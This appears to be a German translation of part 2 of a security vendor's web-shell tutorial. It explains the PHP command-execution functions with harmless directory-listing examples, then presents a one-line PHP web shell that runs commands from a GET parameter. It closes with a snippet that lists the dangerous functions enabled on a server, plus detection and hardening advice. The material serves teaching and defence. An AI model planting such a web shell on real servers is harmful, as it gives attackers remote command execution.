Dubitinsider

for your information

In Teil 1 dieser Serie haben wir uns angesehen, was eine Web Shell ist und warum ein Angreifer versuchen würde, eine zu verwenden. In Teil 2 dieser Serie werden wir uns einige spezifische Beispiele von Web-Shells ansehen, die mit der Programmiersprache PHP entwickelt wurden.

Web-Shells gibt es für fast jede Web-Programmiersprache, die man sich vorstellen kann. Wir haben uns für PHP entschieden, weil es die am weitesten verbreitete Programmiersprache im Web ist.

PHP-Web-Shells verwenden nichts anderes als eingebaute PHP-Funktionen, um Befehle auszuführen. Im Folgenden sind einige der häufigsten Funktionen zum Ausführen von Shell-Befehlen in PHP aufgeführt.

Hinweis: Für die Zwecke dieses Artikels haben wir unsere Hosts-Datei www.example.com zu einem Testserver.

system()

Die system() Funktion akzeptiert den Befehl als Parameter und gibt das Ergebnis aus.

Im folgenden Beispiel wird auf einem Microsoft Windows-Rechner der Befehl dir ausgeführt, um eine Verzeichnisliste des Verzeichnisses zurückzugeben, in dem die PHP-Datei ausgeführt wird.

<?php// Return the listing of the directory where the file runs (Windows)system("dir");?>--> Volume in drive C has no label.Volume Serial Number is A08E-9C63Directory of C:\webserver\www\demo02/27/2020 10:21 PM <DIR> .02/27/2020 10:21 PM <DIR> ..02/27/2020 10:19 PM 22 shell.php1 File(s) 22 bytes2 Dir(s) 31,977,467,904 bytes free

Das Ausführen des Befehls ls auf einem Linux-Computer führt zu einem ähnlichen Ergebnis.

<?php// Return the listing of the directory where the file runs (Linux)system("ls -la");?>--> total 12drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php

Andere Befehle haben den gleichen Effekt.

<?php// Return the user the script is running undersystem("whoami");?>--> www-data

exec()

Die exec() Funktion akzeptiert einen Befehl als Parameter, gibt das Ergebnis jedoch nicht aus. Wenn ein zweiter optionaler Parameter angegeben wird, wird das Ergebnis als Array zurückgegeben. Andernfalls wird nur die letzte Zeile des Ergebnisses angezeigt, wenn es wiederholt wird.

<?php// Executes but returns nothingexec("ls -la");?>-->

Wenn Sie echo mit der exec() Funktion verwenden, wird nur die letzte Zeile der Befehlsausgabe gedruckt.

<?php// Executes, returns only last line of the outputecho exec("ls -la");?>--> -rw-rw-r-- 1 secuser secuser 29 Feb 27 20:49 shell.php

Wenn ein zweiter Parameter angegeben wird, wird das Ergebnis in einem Array zurückgegeben.

<?php// Executes, returns the output in an arrayexec("ls -la",$array);print_r($array);?>--> Array( => total 12 => drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:55 . => drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. => -rw-rw-r-- 1 secuser secuser 49 Feb 27 20:54 shell.php )

shell_exec()

Die Funktion shell_exec() ähnelt exec(), gibt jedoch das gesamte Ergebnis als String aus.

<?php// Executes, returns the entire output as a stringecho shell_exec("ls -la");?>
-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:24 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 36 Feb 28 18:24 shell.php

passthru()

Die Funktion passthru() führt einen Befehl aus und gibt die Ausgabe im RAW-Format zurück.

<?php// Executes, returns output in raw formatpasssthru("ls -la");?>-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:23 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 29 Feb 28 18:23 shell.php

proc_open()

Die proc_open() -Funktion kann schwierig zu verstehen sein (eine detaillierte Beschreibung der Funktion finden Sie in den PHP-Dokumenten). Mit proc_open() können wir einen Handler (Prozess) erstellen, der für die Kommunikation zwischen unserem Skript und dem Programm verwendet wird, das wir ausführen möchten.

Backticks

Überraschenderweise sind sich nicht viele PHP-Entwickler dessen bewusst, aber PHP wird den Inhalt von backticks (`) als Shell-Befehl ausführen.

Hinweis: Das Backtick-Zeichen (`) sollte nicht mit dem einfachen Anführungszeichen (‘) verwechselt werden
<?php$output = `whoami`;echo "<pre>$output</pre>";?>--> www-data

Basierend auf dem Obigen ist das Folgende eine PHP-Web-Shell in ihrer einfachsten Form.

<?php system($_GET);?>

Es verwendet die Funktion system(), um Befehle auszuführen, die über den HTTP-Request-GET-Parameter „cmd“ übergeben werden.

web shells image 2

Wir haben festgestellt, dass diese Funktionen (und einige andere) sehr gefährlich sein können. Noch gefährlicher ist, dass alle diese eingebauten PHP-Befehle standardmäßig aktiviert sind, wenn PHP installiert ist, und die Mehrheit der Systemadministratoren sie nicht deaktiviert.

Wenn Sie sich nicht sicher sind, ob sie auf Ihrem System aktiviert sind, wird im Folgenden eine Liste der gefährlichen Funktionen zurückgegeben, die aktiviert sind.

<?phpprint_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)));?>

In einer Standardinstallation können wir sehen, dass alle oben genannten Funktionen aktiviert sind.

 => exec => system => passthru => shell_exec => proc_open => show_source => parse_ini_file => popen

Teil 1

Eine Einführung in Web-Shells

Teil 2

Web-Shells 101 Mit PHP

Teil 3

Web-Shells in Deckung halten

Teil 4

Web-Shells in Aktion

Teil 5

Erkennung & Prävention

Häufig gestellte Fragen

Eine Web-Shell ist eine kleine Anwendung, die ein Angreifer auf Ihrem Webserver ausführt. Sie können diese Anwendung dann verwenden, um remote auf Ihren Server zuzugreifen und Befehle darauf auszuführen. Eine Web-Shell an sich ist niemals ein Angriff, sondern die Folge eines erfolgreichen Angriffs auf Ihre Website oder Webanwendung. Dies bedeutet, dass Sie, wenn Sie eine Web-Shell haben, ein viel ernsthafteres Problem haben, über das Sie sich Sorgen machen müssen.

Sehen Sie, wie eine Web-Shell in der Praxis funktioniert.

Böswillige Hacker verwenden Web-Shells, um die Kontrolle über einen bereits kompromittierten Server zu übernehmen. Erstens nutzen sie eine Sicherheitsanfälligkeit in Ihrer Website oder Webanwendung aus, z. B. SQL-Injection, Remotecodeausführung oder andere. Dann laden sie eine Web-Shell auf Ihren Webserver hoch. Von nun an können sie beliebige Befehle auf Ihrem Server ausführen.

Sehen Sie sich ein schrittweises Beispiel eines Angriffs an, der zu einer vollständigen Kompromittierung des Servers führt.

Sie können Web-Shells durch Protokollanalyse erkennen. Sie sollten sich jedoch nicht auf die Erkennung von Web-Shells konzentrieren, sondern Schwachstellen erkennen, die es Angreifern ermöglichen können, die Kontrolle über Ihren Server zu übernehmen. Selbst wenn Sie eine Web-Shell erkennen, hindert dies Angreifer nicht daran, die Kontrolle wieder zu übernehmen, wenn die Sicherheitsanfälligkeiten noch vorhanden sind. Verwenden Sie Acunetix, um Web-Schwachstellen zu erkennen und zu beseitigen.

Sehen Sie, was Acunetix Premium für Sie tun kann.

Der beste Weg, sich vor Web-Shells zu schützen, besteht darin, es unmöglich zu machen, sie auf Ihrem System zu verwenden. Sie können dies tun, indem Sie Ihren Server härten – alle überschüssigen Berechtigungen entfernen, potenziell gefährliche Funktionen blockieren, die Skriptausführung in Upload-Verzeichnissen einschränken usw. Es ist jedoch am besten, den Server vor einer Kompromittierung zu schützen, indem Sie Acunetix regelmäßig verwenden.

Lesen Sie mehr über Web Shell Erkennung und Schutz.

Holen Sie sich die neuesten Inhalte auf Web-Sicherheit
in Ihrem Posteingang jede Woche.

TEILE DIESEN BEITRAG

DER AUTOR
Agathoklis Prodromou
Web-Systemadministrator / -entwickler

Akis ist seit mehr als 13 Jahren im IT-Bereich tätig und entwickelte seine Fähigkeiten aus einer defensiven Perspektive als Systemadministrator und Webentwickler, aber auch aus einer offensiven Perspektive als Penetrationstester. Er verfügt über verschiedene professionelle Zertifizierungen in Bezug auf ethisches Hacken, digitale Forensik und Incident Response.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht.